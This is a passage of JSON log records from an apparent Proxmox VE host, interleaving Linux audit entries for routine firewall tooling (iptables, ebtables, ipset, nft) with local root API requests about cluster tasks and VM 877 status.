a1=\"splitname\" a2=\"--nameprefixes\" a3=\"--noheadings\" a4=\"--rows\" a5=\"pve-vm--877--disk--0\""} {"@timestamp":1781965046602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.602:63807): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964347674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964195492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.492:60001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.778:68896): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcb5e57e60 a1=611bee827310 a2=611bee820680 a3=5 items=2 ppid=66161 pid=66162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965519468,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964595217,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.217:61702): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965729101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.101:66857): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.799:68904): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965046590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.590:63805): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964347674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964195485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.485:60000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.772:68894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965519468,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781964595211,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.211:61701): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965729092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.092:66855): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.794:68901): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965046590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.590:63804): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964347674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 477"} {"@timestamp":1781964195479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.479:59999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.765:68893): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965519468,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964595204,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.204:61700): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965729092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.092:66854): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205782,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.782:68898): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965045174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.174:63800): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd0c5c7540 a1=61c6a2696310 a2=61c6a268f680 a3=5 items=1 ppid=61213 pid=61214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964344648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964195471,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.471:59998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.756:68892): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518447,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964595198,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.198:61699): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965725743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.743:66850): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4423fbc0 a1=5d5e509db200 a2=5d5e509b9680 a3=5 items=1 ppid=64208 pid=64209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205779,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.779:68897): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.092:63782): arch=c000003e syscall=59 success=no exit=-2 a0=7fff31a1f170 a1=5eb5b5633310 a2=5eb5b562c680 a3=5 items=1 ppid=61194 pid=61195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964343634,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964195466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.466:59997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.749:68891): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965517350,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964595192,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.192:61698): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965725633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.633:66832): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef08caa30 a1=5fc348f4a410 a2=5fc348f28680 a3=5 items=1 ppid=64189 pid=64190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205778,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.778:68896): argc=1 a0=\"date\""} {"@timestamp":1781965041581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.581:63772): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964342620,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964195462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.462:59996): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=598ed6de1740 items=0 ppid=1156 pid=57613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966205739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.739:68890): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965517350,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:16 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964595186,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.186:61696): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.081:66822): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205772,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.772:68894): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965041581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.581:63771): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964340626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964195460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.460:59995): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205736,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.736:68889): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ad50a7a0740 items=0 ppid=1156 pid=66156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965517350,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964595182,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.182:61695): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.081:66821): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205765,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.765:68893): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965041571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.571:63769): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964339600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964195455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.455:59994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee140 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.733:68888): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965516237,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964595176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.176:61694): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.075:66819): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205756,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.756:68892): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965041571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.571:63768): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336947,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964195449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.449:59993): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.726:68887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee280 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965516237,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964595170,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.170:61693): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.075:66818): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205749,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.749:68891): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965038644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.644:63756): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4090 a1=620c1dca6170 a2=620c17225c10 a3=b items=1 ppid=61149 pid=61171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336947,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964195444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.444:59992): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.720:68886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ec820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965516237,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964595164,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.164:61692): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965719065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.065:66813): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205739,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.739:68890): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965038236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.236:63737): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4320 a1=620c1dc8d2f0 a2=620c17225c10 a3=b items=1 ppid=61149 pid=61152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964335676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964195438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.438:59991): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.715:68885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965516237,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964595159,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.159:61691): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965719065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.065:66812): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205733,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.733:68888): argc=1 